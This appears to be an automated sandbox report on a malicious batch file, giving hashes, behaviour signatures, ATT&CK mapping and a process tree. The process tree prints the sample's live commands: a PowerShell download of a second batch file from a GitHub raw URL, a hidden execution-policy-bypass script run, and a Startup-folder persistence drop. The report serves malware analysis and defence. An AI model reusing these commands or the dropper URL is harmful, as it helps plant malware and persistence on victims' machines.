b82a2f4c60f83e3185b676475cb71706423cbcca17506e929b8c14933e8ab706

General

Target

hi.bat
Size

3KB
MD5

ea7196f7f2266406e53da03c0a5e49fc
SHA1

758c5fce5272f607c0a7379cd245fc5be4568925
SHA256

b82a2f4c60f83e3185b676475cb71706423cbcca17506e929b8c14933e8ab706
SHA512

92e603b9209d1120b2e523f70ed29375b1fe6023a09545eb77cda62a0d2c43969c11a44521af5bbb725c3c63384f76111704441111628a0306939f7090074d71

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/VisoXC/MisterBombastic/main/don/hallo.bat

Signatures

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\temp.ps1	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4376	timeout.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3420	powershell.exe
3420	powershell.exe
4336	powershell.exe
4336	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeDebugPrivilege	4336	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3540 wrote to memory of 3420	3540	cmd.exe	86
PID 3540 wrote to memory of 3420	3540	cmd.exe	86
PID 3540 wrote to memory of 4336	3540	cmd.exe	90
PID 3540 wrote to memory of 4336	3540	cmd.exe	90
PID 4336 wrote to memory of 1188	4336	powershell.exe	92
PID 4336 wrote to memory of 1188	4336	powershell.exe	92
PID 1188 wrote to memory of 4376	1188	cmd.exe	101
PID 1188 wrote to memory of 4376	1188	cmd.exe	101

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\hi.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/VisoXC/MisterBombastic/main/don/hallo.bat', 'C:\Users\Admin\AppData\Roaming\Backup\temp.bat')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Backup\temp.ps1" -WindowStyle Hidden
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Backup\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1188
  - - C:\Windows\system32\timeout.exe
      timeout /t 60
      4⤵
      Delays execution with timeout.exe
      PID:4376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Backup\temp.bat

Filesize
211B

MD5
f15fcd87915d2a35f972d432a7815563

SHA1
6fb98ddaff19ad02a6bb6ddf9269369ee287e1b4

SHA256
2053d7cfe7ee9c5b7e141c54ca305a6bcb59b96031cc32863f243ca0bbb33b6a

SHA512
9bbb2d5bebe603ba52fb166f11d2f7de7e5781d8b7875958a07ef2d41075a02d835687e87317865fcf77858c92274e54cb616794b77860b47f60a0f01055db91

Download Submit
C:\Users\Admin\AppData\Local\Backup\temp.ps1

Filesize
82B

MD5
c6dbccf352c7f8779106d63732d85e5f

SHA1
4c4171158ae7ef1b406b4e6c44480ece6bc96f61

SHA256
9a8c7190e1b6845db7659ddadad929a5bec48665e702af0771b8bf84cfa2e905

SHA512
e260b28a26008d99e47b75f0c470edab08af47d6334b009d23755fba6b1ba41bb986fa09fe4dc8a94706fc64e9d60a471650a3ee74bb5c1458d9a4d06d16b3b4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e9c5f9e7437285aa87e4433bc7e0f9d7

SHA1
2363ddac1155a065a54dc6a0fc307d86bd88246b

SHA256
0cb341e3c6fd873cf50bd24821761efdaec49406557f21db3f1a4ee68796b520

SHA512
7cc866c84540c274e013a0eb453e89a27a52a410923ee28488f9b88d6fd8dad77c6e7e99e1cf97dc6202233a7d093e89bfc22eae3102d50cd83207d98b2f3cb2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fqvegpza.vzw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3420-11-0x00000237607B0000-0x00000237607C0000-memory.dmp

Filesize
64KB

Download
memory/3420-15-0x00007FF83C700000-0x00007FF83D1C1000-memory.dmp

Filesize
10.8MB

Download
memory/3420-12-0x00000237607B0000-0x00000237607C0000-memory.dmp

Filesize
64KB

Download
memory/3420-10-0x00007FF83C700000-0x00007FF83D1C1000-memory.dmp

Filesize
10.8MB

Download
memory/3420-4-0x0000023760770000-0x0000023760792000-memory.dmp

Filesize
136KB

Download
memory/4336-24-0x00007FF83C700000-0x00007FF83D1C1000-memory.dmp

Filesize
10.8MB

Download
memory/4336-25-0x0000025CC1690000-0x0000025CC16A0000-memory.dmp

Filesize
64KB

Download
memory/4336-26-0x0000025CC1690000-0x0000025CC16A0000-memory.dmp

Filesize
64KB

Download
memory/4336-40-0x00007FF83C700000-0x00007FF83D1C1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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